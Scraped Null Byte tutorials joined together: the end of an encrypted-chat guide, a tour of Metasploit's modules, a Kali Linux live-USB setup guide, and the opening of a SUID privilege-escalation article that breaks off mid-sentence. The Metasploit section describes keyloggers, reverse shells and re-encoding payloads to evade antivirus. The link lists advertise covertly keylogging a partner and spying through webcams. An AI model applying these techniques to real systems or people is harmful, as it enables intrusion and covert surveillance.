ready to use!Step 6: Using PidginUsing Pidgin over XMPP is much like using any other instant messaging client. Contacts appear in the main Pidgin menu, and new contacts added, messages started, and chats joined through the "Buddies" drop-down menu at the top left of the window.Once buddies are added, we can open a chat with them by simply double clicking on their name in this panel.After opening a new chat window, we can ensure encryption is active by viewing the status at the lower right of the window. If "Not Private" or a similar message is visible, we can begin using OTR by opening the "OTR" menu at the top of the chat window and clicking on "Start Private Conversation."With these programs installed and configured, you're ready to chat more securely using Ricochet or XMPP! Using encryption and privacy tools effectively is vital in the face of increasingly sophisticated surveillance which makes private communication less and less guaranteed. It's up to you, the user, to take responsibility for your privacy in the world we live in, and learning tools like encrypted messengers are the best way to do so.Thanks for reading. If you have any questions, you can ask them in the comments, or on Twitter.Follow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Screenshots and cover image by Takhion/Null ByteWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:How to Keep Your Internet Traffic Private from AnyoneHow To:Become Anonymous & Browse the Internet SafelyHow To:Access the Dark Web While Staying Anonymous with TorHow To:Enable Encryption in Skype to Securely Call & Message Your FriendsNews:Reality of VPNs, Proxies, and TorHow To:The Top 80+ Websites Available in the Tor NetworkHow To:Advanced Cryptography - Total GuideTor for Android:How to Stay Anonymous on Your PhoneAndroid Security 101:How to Secure Your Communications & MessagesHow To:Set Up an SSH Server with Tor to Hide It from Shodan & HackersHow To:The Easy Way to Use PGP for Encrypting Emails on Windows, Mac & LinuxHow To:Hack TOR Hidden ServicesProtonMail 101:How to Send End-to-End Encrypted Emails to Non-ProtonMail RecipientsNews:Downloads for Encrypted Messaging App Signal Have Almost Doubled Since Trump Took OfficeHow To:Your One-Stop Guide to Secure, Encrypted MessagingHow To:Make a Secret Encrypted DriveHow To:Send Encrypted Spy Messages Through Gmail on Google ChromeHow To:5 Ways to Communicate Safely on Your Smartphone — Keep Police & Big Data Out of Your ConversationsHow To:Is Tor Broken? How the NSA Is Working to De-Anonymize You When Browsing the Deep WebAnonymous Browsing in a Click:Add a Tor Toggle Button to ChromeHow To:Use Tortunnel to Quickly Encrypt Internet TrafficUncrackable File Sharing:Securely Transfer Your Secrets with 4096-Bit EncryptionHow To:Completely Mask & Anonymize Your BitTorrent Traffic Using AnomosHow To:Become Anonymous on the Internet Using TorNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden ServicesHow To:Remain Anonymous and Chat Securely with CryptocatTor vs. I2P:The Great Onion DebateNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Two: Onions and DaggersNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Four: The Invisible InternetNews:Anonymity Networks. Don't use one, use all of them!Secure Your Computer, Part 3:Encrypt Your HDD/SSD to Prevent Data TheftHow To:Encrypt your Skype Messages to Thwart Snooping Eyes Using PidginHow To:Encrypt And Decrypt Text In PythonNews:Feds arrest several in connection to Drugs on Tor networks 'Silk Road'How To:Write a Basic Encryption Program Using Java!News:Make an "On/Off" Tor Button for ChromeEditor Picks:The Top 10 Secret Resources Hiding in the Tor NetworkPrivate Browsing:A How-To for Firefox, Chrome & Internet ExplorerHow To:Safely Log In to Your SSH Account Without a PasswordHow To:Mask Your IP Address and Remain Anonymous with OpenVPN for Linux
Hack Like a Pro: Exploring the Inner Architecture of Metasploit « Null Byte :: WonderHowTo
Welcome back, my novice hackers!We've done a number of tutorials using one of my favorite hacking tools,Metasploit. In each of them, we've used themsfconsole, which can be reached through either the menu system or through simply typing "msfconsole" from the terminal.This msfconsole puts us into an interactive mode command prompt with the Metasploit Framework. This is my favorite way to use Metasploit, but certainly not the only way that is available to us.Metasploit has multiple ways of accessing its power and tools including a command line (msfcli), a GUI (armitage), and a web-based (msfweb). In this tutorial, we're going on a tour of Metasploit to introduce you to the inner structure and some new capabilities of Metasploit.Step 1: Open a Terminal & Find the DirectoryIn each of my previous tutorials, we've started from the interactive mode of Metasploit (the msfconsole). This time, however, let's go to the Metasploit directory directly so that we can explore its structure. We can get there by typing:bt > cd /pentest/exploits/frameworkStep 2: Look Around Inside the FrameworkNow that we're in the Metasploit Framework directory, let's take a look around. First, let's do a listing on this directory.If you look to the top of this long listing, you will see a directory calledarmitage. This is a GUI for driving Metasploit that we'll return to in another tutorial.Also note near the bottom a directory calledscripts. This includes, among other things,meterpreter scriptssuch askey_scanthat enables us torun a keylogger on the victim's computer.Also note the following files—msfcli, the command line version of Metasploit, andmsfencode, the command we used previously tore-encode a payload to get past antivirus software.Step 3: Explore the ModulesLet's now explore the Metasploit modules. These are the blood and guts of Metasploit. We have, for instance, used "exploit" modules and "payload" modules. This is where they reside. Type in:cd modulesls -lAs you can see from the screenshot above, Metasploit contains multiple modules. These include:auxiliaryencodersexploitsnops (no operations)payloadspost (post exploitation)These are the key modules in Metasploit, and as you've already guessed, we haven't even begun to explore the auxiliary, nops, and post exploitation modules, although we have used the exploits, payloads, and encoders.Step 4: Open the Exploits Module & Look AroundThe module we're probably most familiar with are theexploits. This is the module that contains the exploits that take advantage of a vulnerability in an application or an operating system, which enables us to place our payload on the victim. Let's look inside. Type:cd exploitsls -lTheexploitsmodule is broken into sub-directories that are specific to the operating system we're attempting to exploit. For instance, you can see at the top the directory,aix, (IBM's proprietary UNIX operating system) exploits. As we scan down, we can see exploit directories for:freebsdhpuxirixlinuxnetwareosxsolarisunixwindowsIf you have done any of my Metasploit tutorials and hacks, you've likely used exploits in thewindowsexploits directory. Let's look around there. Type:cd windowsls -lNow, we can see that the windows exploits are broken down into types of windows exploits. It's important to note that exploits are very specific. Not only are they operating system specific, but also application or service specific, port specific, and sometimes even language specific. Recently, we looked atexploiting the Internet Explorer in Windows 7. Let's see if we can find it in the browser directory. Type:cd browserls -lAs you can see in the above screenshot, ourms10_046_shortcut_icon_dllloaderexploit is highlighted.If we wanted to, for instance, find an exploit in this directory to hack Adobe products from the browser, we could useour Linux skills and "grep" for it. Type:ls -l | grep adobeWhen we hit enter, the terminal filters (grep) the output and shows us only the windows browser exploits that take advantage of Adobe products.Step 5: Explore the Payloads ModuleNext, let's navigate to the payloads directory. Type:cd /pentest/exploits/framework/modules/payloadsThen we can do a long listing on that directory by typing:ls -lWe can see that payloads are broken down by types.singlesstagersstagesLet's open upsinglesto look around. Type:cd singlesOnce again, we can see that the Metasploit Framework categorizes the payloads by operating system. Let's move to the generic directory and see whether we can find the genericshell_reverse_tcppayload that we used toget a command prompt when hacking Windows XP. Type:cd genericls -lAs you can see in this screenshot, I have highlighted the generic reverse tcp shell that we used earlier.In the tutorial onencoding your payload to get past AV software, we created a payload that we re-encoded usingshikata_ga_nai. Once we have that payload re-encoded to be undetectable to AV software and we want to use it other exploits, we could save it here in this payloads directory to make it available again and again to get past antivirus softwareI'm hoping that this brief exploration of the structure of Metasploit was enlightening. I'll try to come back in the future and further elaborate on its structure including the post exploitation, auxiliary and nops modules, but don't wait for that. Start doing your own exploration to better understand this wonderful and powerful tool to make you a better and more effective hacker.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedMac for Hackers:How to Install the Metasploit FrameworkHack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)Hack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:How Windows Can Be a Hacking Platform, Pt. 1 (Exploit Pack)How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)Hack Like a Pro:Exploring Metasploit Auxiliary Modules (FTP Fuzzing)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)Hack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 7 (Autopwn)Hack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHack Like a Pro:The Ultimate Command Cheat Sheet for Metasploit's MeterpreterHack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHack Like a Pro:How to Bypass Antivirus Software by Disguising an Exploit's SignatureHack Like a Pro:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 2 (Keywords)Hack Like a Pro:How to Secretly Hack Into, Switch On, & Watch Anyone's Webcam RemotelyHack Like a Pro:Reconnaissance with Recon-Ng, Part 1 (Getting Started)News:How to Study for the White Hat Hacker Associate Certification (CWA)How to Meterpreter:Interactive Ruby Shell (A Quick Introduction)Hack Like a Pro:How to Install BackTrack 5 (With Metasploit) as a Dual Boot Hacking SystemHack Like a Pro:How to Remotely Record & Listen to the Microphone on Anyone's ComputerNews:DIY Papercraft Architecture with LightingExplore Ancient France:QuimperHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterNews:Organic Structures, PVC and Powder Printing, and ArchitectureNews:Minecraft World Weekly Workshop: Techniques in ArchitectureNews:Minecraft World's Weekly Workshop: Architecture and StyleNews:Inner City ArtsNews:Techniques for Creating Architecture in Minecraft
Kali Is Your New Pet; The Ultimate Guide About Kali Linux Portability. « Null Byte :: WonderHowTo
Did you know Kali 1.0.8? You probably did, and you probably know about the EFI boot option that has been added.That's a very interesting new feature because it allows Kali to be easily booted on Mac too, and every EFI-supported device.First three preview lines gone? As always, sorry for any eventual grammar error or unclear concept, please tell me in the comments if you find any!-UPDATE 1 05/08/2015: Added more FAQs about uefi and more solved issues (look at the comments section for more informations), fixed broken links.If you came here to install Kali or Pentesting tools on Android or iDevices, follow these guides:-Install Kali and Pentesting Apps on Rooted Android-Install Kali Tools And Pentestig Tools on iDevicesToday I want to show you all the ways you have to use Kali Linux, to have the best performances. We are going to go trough a lot of steps, so prepare you coffee and let's go.Today's topics:-Some definitions-Virtual Machine-Create a live USB with major OSes-Create a live CD with major OSes-Add the persistence option-Install as dual boot (partial)-Smartphone alternatives-Partitioning tricks, e.g. use Kali live USB also as windows storage (with ICEBOOT).-Update: Troubleshooting and FAQ-Update: How to UEFI boot a Kali Linux USBLet's get started!What Live Boot Means and Why You Should Love It (And Persistence).Recently here on Null Byte I've seen that there's a lot of confusion when talking about Kali Linux setup and installing.You can run Kali Linux in different ways:-Virtual Machine: this is the fastest way, the one I recommend to use when doing lab tests. Using virtual machine softwares like VirtualBox and VMWare allows you to run an entire OS in a "box". We'll get there later. This comprehends all the boot options below:-Live: IMO this is the best way if you don't care about updates. Every time you run Kali, the same OS will be loaded, without saving anything. This can be very useful: 1) it saves you time 2) it saves you by any kind of virus. Live boot requires a USB device or a CD, we'll get there later too.3)It saves you by any change you made that let your Kali blow up.-Persistence: the persistence option lets you save files and update tools when you open and close working sessions using a USB device.-Install: You can also install Kali Linux on the HD of your computer, so that you can choose whether to both your OS or Kali without any external drive. Anything you change or update will remain as definitive.I'm not going to talk about this option, because the objective of this how-to is portability. I just tell you that you can install Kali on the HD also by using a Live USB/CD.So, you got this, live and persistence are useful when talking about USB/CD boot.Another very important thing why you should prefer external drive boot is that Virtual Machines usually don't let you use the wireless adapter that is incorporated in your computer, instead they only simulate an ethernet connection. This sucks if you want Reaper and Aircrack. Live boot is also safer (practically untouchable) than normal OSes installations.That's also why we consider Linux the best OS between the majors.Virtual Machine (Using Virtual Box)As said before, running Kali Linux in a Virtual Machine can be useful for lab tests, but you'll soon feel small in these shoes.Although it's not that hard, I recently saw that new people are confused, so here we go.Download the latest version of Kali Linux from Kali'sofficial website.Download Virtual Box from the dowload section of Virtual Boxofficial website.I'll be using the Mac OSX version for this part, but really there's no difference between other versionsOnce installed Virtual Box, this is the main layout (sorry, but I have the italian version):In the left panel we have all our virtual machines (VM), in the right one we have all the informations about each VM and in the top panel we have the main actions.I'm taking part of the following process and words from one my old postTo create a new Virtual Machine, click on "New",then fill in the fields Name with the name you want, Operation System with "Linux", version with "Debian 32/64 bit" according to the ISO you downloaded. Then click on "create".In the next page, leave everything as it is, or you can make base memory size bigger, but not more than 15 GB (recommended), should be enough. Then click on "create".Little troubleshooting preview: some errors were reported because of unsupported 64 bit version or too much or not enough space. So, it might not be the case, but if 64 bit version gives you problems, you shall try 32 bit, with the recommended memory size.Now you should be able to see that a new VM has been created (left panel).We aren't ready to go yet. We need PAE/NX support. Select the machine and then click the "Settings" button in the top left, then go to "System" then "Processor" and check the PAE/NX checkbox. I'm not going to post every picture because it would be too heavy, if you need more please tell me in the comments.Now select the machine from the left panel and run it from the top panel.When Virtual Box asks you to address the source, browse to the Kali Linux ISO and the bootloader will... load.The boot loader looks like the logo of the how-to... except for the cat... I mean...yeahNow you can select Persistence or Live boot. As I said we'll get there later.Virtual Machine pros:-very easy to setup-allows you to use multiple OSes for lab tests and fast demosBut. There's a gigantic but.Virtual Box, and VMWare too, which is the other great VM software, emulate an ethernet connection. It means you can't use the wireless adapter that is incorporated in your computer. You have two options: boot from USB/CD, or buy an USB wireless adapter, which is always useful. OTW made a great post about choosing the best wireless adapter, read it right now.In case you have a wireless adapter, latest versions of Virtual Box should have USB support, but in case yours doesn't, go to the virtual box download page (linked above) and download the "Extension Pack" according to your version, then install the extension and once started Kali, go to devices->USB devices and click on your wireless adapter to mount it. In about 10 seconds Kali will recognize the USB wireless adapter and you'll be able to use it.And right when you thought "I'm behind a VM, I'm perfectly fine",VUPENresearchers team comes to make you sad.Ouch.We can move on.Setup Kali Linux to Boot from USB.Every OS has his own way to do this.First download the Kali Linux ISO, as said before.Update: Wait. Before you go on, you must know if you are booting BIOS or UEFI. What are these and why should I know? I answer this in the FAQ. I decided to post only the BIOS way under this header as it's the most common. I repeat this:->How to boot Kali from USB in UEFI is in the FAQ section<-->How to check if you are using BIOS or UEFI and what are these is in the FAQ section<-That said, if you are sure you are using BIOS (generally PCs older than 2010-11), then go on reading. Also Mac boots UEFI, but Macs are a very complicated story.There are a lot of ways to image a Kali on a USB (Unebootin cross platform, LiLi USB creator), but today we are going to use Win32 Disk Manager for windows and the dd command for Unix.Another great tool is Rufus, explained in the FAQ section.If you are going to use Kali =>1.0.8 then you are probably interested in EFI boot. You probably have a Unix, then follow the dd command part, because you might have trouble imaging it on windows because of the EFI option.Obviously, be ready to format the USB stick.Before anyone gets angry, yes, the infos below are taken from Kali Linux official Documentation, but that's kinda obviousWIndows:Download Win32 Disk Imagerfrom SourceForgeorLaunchPad, and if you need you can follow the official Kali Linux documentation about ithere.Once plugged the USB stick, run Win32 Disk manager and choose the ISO to image and the device you are going to image it to and click write.Sorry, no images, windows crashed... again.Unix:If you are using Linux, verify the path of the USB with the commanddmesg, then run the command.dd if=path/kali.iso of=/dev/sdb bs=512kWhere /dev/sdb is the path fromdmesg.If you are on Mac, that's almost the same, except that you first need to locate the USB storage with the commanddiskutil listand then unmount it withdisukutil unmount /dev/diskN(or, eventually,diskutil unmountDisk path).Then run:sudo dd if=path/kali.iso of=/dev/DISK bs=512kWhere disk is the path we found with diskutil.Mac terminal sample, notice how many partitions there are on my USB, I use the partition EXTSTORAGE as a windows storage (we'll talk about it later), the Persistence storage as a Unix storage (not the real persistence option!), then the other two are the real persistence and the MBR (boot). Have fun with partitioning!Note: if you put 4m or 4M (depending on the Unix system, try which one works) instead of 512k, the process will be faster.Once done you can un-plug the USB and stare at it: it's now a happy USB stick, and it's ready to boot in all its greatness.ButEFI boot will not work with a MacBoox Pro older than 2011-2012.Don't worry, I got you covered with the next chapter.Here, before my last update, I would go on talking about MBR and GPT. The question about:->Booting both in UEFI and BIOS<-->How to boot Kali USB in UEFI<-are answered in the troubleshooting and FAQ section.Create a Live CD/DVD of KaliTo create a live CD of Kali Linux, first download the ISO.Once you are done, pick your way trough it:Windows:Right-click on the ISO and "Burn Disk to Image", choose the disk you want to image Kali on and Burn (obviously there are plenty of different tools, like Daemon tools and infra red).Alternatively, I'm trying this process with windows 8 and a random DVD and I can't get it working, very weird (after this, I suggest you to never use windows again in your entire life, thanks). Let's call it troubleshooting: if you can't go trough the above process, try right-click->send to->DVDMac:You can use Apple's Disk Utility. Insert your CD/DVD and launch Disk Utility (Applications->Utilities->Disk Utility )Again, sorry for the italian language, the burn button is the one with the radioactivity icon, nuke it!Insert the CD, drag and drop your ISO in the left panel and select the ISO, then click on "burn". The CD will be burnt and the data verified.Boot from CD or USBBooting from CD or USB depends on your computer, e.g. Asus computers want you to press "esc" while booting to select the USB drive and then boot, while they usually give priority to CDs on HD OSes, so you don't have to press anything.If you can't completely shut down windows 8 because it hibernates at shut down, I explained how to in the comments.But Macs don't. In fact, you'll need to install rEFInd to get it working properly.Refind is a boot manager that you can download from here:http://sourceforge.net/projects/refind/files/0.8.3/refind-bin-0.8.3.zip/downloadthen move to the directory you just downloaded and run the install.sh script with:sudo ./install.shSo that at the next boot, refind will be loaded. Don't worry, to boot Mac OSX, just click the first options when asked (the big white apple!).If you inserted the Disk, you should see a symbol with a little cd ("boot from legacy").Don't worry if it doesn't appear as soon as you insert the CD, just reboot and try again, it never works at first try.If you want to uninstall Refind just open the Terminal in OSX and type:cd /sudo rm -r EFIYou can use refind to boot from USB too (image above), but you should normally be able to do this by pressing the option (or "alt") key at boot and selecting the usb symbol ("EFI").Now you should be able to Live boot.Setup PersistenceIf you want to setup the persistence option you have to create another partition in your USB stick. How?This is too long too explain for every OS (I'm going to explain how to do this in Kali, because now you know how to boot Kali Live), but I want to recommend some tools you can use:-Windows: MiniTool Partition Wizard Home Edition-Linux:GpartedThe main process is:1)create a new partition (resizing the only one existing hosting Kali, creating new unallocated space) using the unallocated space (select the unallocated space, then persistence->new).2)create it with these options:-Type: ext4-Label: persistence-Primary PartitionApply the changes, also remember the path written in the "partition" tab for the partition you just created, we'll call it PART* (in the image is sbd6), but you have to put your own in the commands below.3)Run the following commands (even if you partitioned the USB with another OS, you must run this by Kali Linux live boot, so open the terminal in Kali Linux Live and type):mkdir -p /mnt/YOURUSBmount /dev/PART* /mnt/YOURUSBecho "/ union" > /mnt/YOURUSB/persistence.confumount /dev/PART*Where YOURUSB is a random name, not related to anything.And next time you'll boot, choose "Live USB Persistence", so that every time you choose this boot option your changes and software updates (metasploit!) will be saved, but Live option will boot the same as before.Install as Dual-BootThis topic wasn't supposed to be in the guide, but this reference ca be useful.You can find a tutorial about this by U31here, just jump to the Kali part.Smartphone AlternativesYou can install Kali Linux on Android, although I'm not going to explain it because I don't have one:http://www.kali.org/how-to/kali-linux-android-linux-deploy/I wrote a how-to about porting Kali tools to iPhone with jailbreak:https://null-byte.wonderhowto.com/how-to/idevice-jailbroken-your-new-pentesting-tool-0157134/The user ghost_ suggestedKali NetHunterfor Nexus devices.If you'd like to install Kali on your Android device or boot Linux from there, you can followthisguide I wrote.Lastly, as Crakced Hacker suggested, give dSploit a look:http://dsploit.net. Edit: the dsploit project doesn't exist anymore.Extra: How to Use Kali Linux USB Also as Windows StorageWarning: Do this only if you are sure you are using a MBR/DOS partitioned USB (NOT GPT), or this will seriously damage your installation. It can be repaired but the process is too long and complicated, if you need it, ask me in the comments.For more informations about GPT and MBR, see the Troubleshooting and FAQ section.This is cool.Using BOOTICE (http://www.pendriveapps.com/bootice-partition-flash-drive-edit-boot-sector/) you can change the active partition, so if you create an ext2 or NTFS partition (Primary Partition, it's important) and go in the management session, you can activate and assign a letter to that partition, so that windows will recognize it, because normally windows read only the first partition.Graphical demonstrationWindows felt bad for me and started working. Thank you.I had problems with this. If you have any problem just ask in the comments!Troubleshooting and FAQFAQs:-Q: What are the commands that I should run as soon as my first installation of Kali boots?-A:We answered here.-Q: How do I safely act on my USB? How to backup stuff before it's too late? I deleted Grub, what do I do?-A: My first answer is pretty easy: practice with Unix utilities, in particular,gdisk,fdiskanddd. To safely act on your Kali Linux USB, use the Live option, so if you delete anything, there's no problem. Then , if everything works, do it with persistence. If you'd like to clone your USB, use the dd command as explained in thisStackExchangetopic, and followthisto fix the GPT partitioning scheme if the two USBs don't have the same size. If you deleted Grub, create a Live CD and chroot in the USB, then recreate the partition if it has been deleted and install Grub from the official repository. I don't have time to explain it here, but you can find documentation on the internet.-Q: You said UEFI and BIOS, what do they mean, what's the difference and which problems are related to this?-A: UEFI (that for our reasons can also be meant asEFI) and BIOS are two groups of software routines that makes the hardware accessible to the software. This includes the boot phase too. BIOS was developed a lot earlier than UEFI and it's the most common, however UEFI brings in new functions and possibilities, and that's why UEFI is slowly overcoming to BIOS. The main problem is that computers that support only UEFI have been made, but the globe is still divided, so UEFI only and BIOS only computers are both in use nowadays. To overcome to the issue of not being able to fully enjoy Kali on most of the computers, you need to prepare yourself.-Q: How do I know if my computer is using UEFI or BIOS?-A: A fundamental question that deservers a methodical answer: Macs boot with EFI (or at least with a slightly modified version), while PCs can vary. Although the rule is usually that computers after 2010/2011 Potentially have UEFI boot, this is not totally true. For example, almost every windows 8.1 computer is UEFI. To overcome to this problem, supposing you are using Windows, use Windows Disk Management Tool.If your Hard Disk first partition is a EFI System Partition, then your computer is using UEFI, else you should be BIOS. Alternatively, you ca use thediskpartcommand, and if in the GPT colon there's a sign, then you are using GPT, therefore UEFI.-Q: You also talked about GPT and MBR. What are these and what is the difference?-A: To make things easy, GPT and MBR are two types of ways to partition an USB. These are usually associated respectively to UEFI and BIOS, but, as you'll see below, this association is not too restrictive. As soon as the USB is plugged in the computer, the partitioning scheme (GPT or MBR) answers to the request about how the USB is formatted. This is especially important for this guide because of the interaction they both have with BIOS and UEFI. BIOS uses MBR, while UEFI uses GPT, so this all comes to compatibility issues. However, with some tips, we can evade UEFI GPT restrictions and boot from MBR, because the GPT partition starts with a MBR that introduces GPT for security reasons. You can read more aboutGPT(Guid Partition Table) andMBR(Master Boot Record).-Q: How can I boot Kali Linux USB with UEFI, then?This is MBR booting with UEFI. I know I told you UEFI supports GPT better and they are usually correlated, but this can be done with MBR too. You can do this with GPT too obviously, and in some cases you won't be able to do different (or struggle trying) like for Arch Linux.-A: Notice: for the following process a windows machine is needed (or Wine, although not tested nor recommended). Alternatively, you can follow the process in other OSes usingUnetbootin, I'm just posting this with Rufus because this is the one I tested and worked with me.Requirements :-Kali Linux ISO image (64 bit recommended).-Rufus Windows Program-BOOTX64.efi and grubx64.efi:-----------------------------(OUTDATED)[-BOOTX64.efi and grubx64.efi files downloadable at (download links are written in this pastebin)http://pastebin.com/sGZC2Vgk.]From the comments section, user "Cracked Ninja"."Under the topic "-Q: How can I boot Kali Linux USB with UEFI, then?" in the FAQ section, the pastebin link for the grub and BOOT are broken. (Moved to a new location)I think they were moved to this archive location-Link Here[General Archive, see below for the files]I couldn't find the correct files.Could someone direct me to the proper place to get these files?"/"Ah I think I found the link in the archive!Link to the FolderThis is the folder that the BOOTX64 and Grub64 files are in. It should be the same, but I can't be sure."Turns out, the link actually works, so use last link to retrieve the aforementioned files.--------------------------------Process:-Create a bootable USB with MBR for UEFI and BIOS. Run Rufus while your USB is plugged in (all your data will be lost), select your USB device in the first selection box, then click on the little cd image and select Kali Linux ISO. Be sure that the second selection box says "MBR partition scheme for BIOS or UEFI computers". Then start, and wait until the process is finished, and agree if it asks about downloading some syslinux files.-Browse your USB and make sure that folders like ".disk" and "boot" exist. It means that the installation succeeded.-Once in the USB, create a folder called "EFI" and inside this folder you just created, create another fodler called "BOOT". CopyBOOTX64.efiandgrubx64.efiin the "BOOT" folder.In the "BOOT" folder, create a file called "grub.cfg" (make sure it is not a text file, but actually a .cfg), which content is the content of the pastebin athttp://pastebin.com/2LrzFPS6.-Once done, you should be able to boot from that USB choosing it in the boot menu or giving USB the boot priority.A thank goes to CyberHitchHiker that addressed me into the right direction, after struggling for a long period about this.Here's thereference.-Q: Is it possible to create a USB bootable in UEFI and BIOS?-A: Theoretically the process right above should work for this purpose, but I have not tested it yet.-Q: I'm struggling to dual boot Kali and Windows 8/8.1, what do I do?-A: There are various way to in order to achieve this objective. I'm going to go trough some of these since numerous users have requested it, even though this is out of the scopes of this guide.As said previously, the main issue about Windows 8 PCs is that they use UEFI (explained above).In order to dual boot Kali and Windows 8 (or similar) you have to partition your hard disk so that there's enough space to install Kali, and then install an UEFI boot manager."LinuxBSDos guide": using default installer.Official Kali Linux Documentation GuideTROUBLESHOOTING-Q: My virtual machine can't access internet. An error, "device not managed", is showing in the network section in the top right corner, below "wired network" and iwconfig shows no wlan0 interface.-A: It's because VMWare and VIrtual Box both simulate only an ethernet connection.Open a terminal and type:nano /etc/NetworkManager/NetworkManager.confand edit the file like this:----mainplugins=ifupdown,keyfileifupdownmanaged=true----Then typeservice network-manager restart-Q: I am not able to connect my wireless adapter to Virtual Box or VMware.-A: Quoting older answers:VirtualBox:"You have to go to Virtual Boxofficial websitedownload the extension pack and then install it, run VB, run Kali VM and in the main top menu go to Devices->USB Devices->Your wireless adapter.VMWare:Got the problem. you have to first disconnect it from the host and the connect to the VM, because you are running under a Virtual Machine.Try:TopMenu>VM>removabledevices>yourwirelessadapter->connect (Disconnect from host).-Q: I have some problems accessing the BIOS and boot menu with windows 8. During the boot, any key I press it doesn't care, windows 8 boots without interaction.-A: Quoting my comment under this post:Windows 8 dosen't shut down, it hybrid shutdowns, so that you always boot with that. In order to change this, do a (not recommended, follow the process under this one) .bat shortcut with the command:shutdown /s /t 0There's also an option, but I don't remember where you disable itRecommended:Windows Key + X->Power Options-> Choose what the power button does-> Change settings that are currently unavailable (windows, you are just calling it)->Shutdown Settings and uncheck "Turn on fast startup" and save changes.-Q: I just burnt the latest ISO on a CD/DVD but that won't boot.-A: Do the steps in the answer right above, reboot and enter the boot menu (or change the priority in BIOS to CD/DVD). In the boot menu choose your CD slot. If this doesn't work, "you may need to get into BIOS and change from UEFI to Legacy BIOS mode" (suggested by ghost_).-Q: See below to solve the following issue "You need to load the kernel first."By user "Cracked Ninja" (see the comments section)(This is a Windows 8.1 Laptop, Touchscreen, Wireless USB mouse connected. AMD A6 Quad-Core. {The exact model is IdeaPad S415 Touch})I close everything.Go to the start menu, click on the power options (Top right)Then hold shift and press restart.I get restart options.I select Use a DeviceSelect EFI USB DeviceWait for it to restart.When it restarts, wait for 2 seconds and it auto-starts. (I do get to Grub)It then says-Error: Unknown File SystemError: You need to load the kernal first.It also says failed to load failsafe after that.-A: The problem is very generic, but for this user the solution was: In the Grub config, I had to change the set root= (hd0,1) to set root = (hd1,1) And it worked!ConclusionI hope it was useful, it took me so much time and effort to write but I think that summing up everything in just one article was a good idea, because recently a lot of people asked this kind of questions!Again, sorry for any grammar or concept error, if you find any please tell me.Thank you for reading.Edit 05/08/2015: I'd like to thank all of you who have been reporting errors and those who have been helping users to solve their troubles.Thank to all of you, this guide is now, according to me, in Google's second page for "Kali Linux Install efi". Very, very,verybig achievement for me, so thank you again.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual Licensecover image: Kali Linux 1.0.9 boot loader 64 bit + tribute to my catRelatedHow To:Run Kali Linux as a Windows Subsystem
How to Find & Exploit SUID Binaries with SUID3NUM « Null Byte :: WonderHowTo
File permissions can get tricky on Linux and can be a valuable avenue of attack during privilege escalation if things aren't configured correctly. SUID binaries can often be an easy path to root, but sifting through all of the defaults can be a massive waste of time. Luckily, there's a simple script that can sort things out for us.First, let's discussSUID, which stands for Set User ID. It's a particular type of file permission in Linux, different from the usualread, write, and execute permissions. Typically, a file runs with the permissions of the user who launched it. But when theSUID bitis set, the file runs with the permissions of its owner.Don't Miss:How to Learn Binary Exploitation with ProtostarProblems arise when a program or file (often called binaries) is owned by root but other users are allowed to run it. Depending on the binary, specific commands can be run that will ultimately result in aroot shell. Bad for administrators, good for attackers.SUID3NUM vs. Other Enumeration ScriptsSUID3NUM, which we'll use to take advantage of vulnerable SUID binaries, is a Python script that can find SUID binaries, distinguish between default and custom ones, and attempt to exploit them using theGTFOBins repository(GTFOBins is an impressive collection of Unix binaries that can be utilized for privilege escalation). It's a standalone script that will work with both Python 2 and Python 3.There are other enumeration scripts,like the popular LinEnum, that will identify both default and custom SUID binaries, but the problem is that they don't separate them. So unless you are an absolute expert on Unix binaries, it's possible to waste a ton of time trying to exploit the unexploitable. This is where SUID3NUM really shines. Upon finding a vulnerable binary, it will list the command or commands to exploit it, and it even has an option for auto-exploitation.Recommended on Amazon:'Learning Linux Binary Analysis' by Ryan O'NeillBelow, we're usingMetasploitable 2, an intentionally vulnerable Ubuntu Linux virtual machine, as the target, andKali Linuxas our local machine.Step 1: Get a Reverse Shell on the TargetTo use SUID3NUM, which is apost-exploitationenumeration script, we must first exploit the target system and get a shell. Sometimes,web applications will be vulnerable to command injection, in which 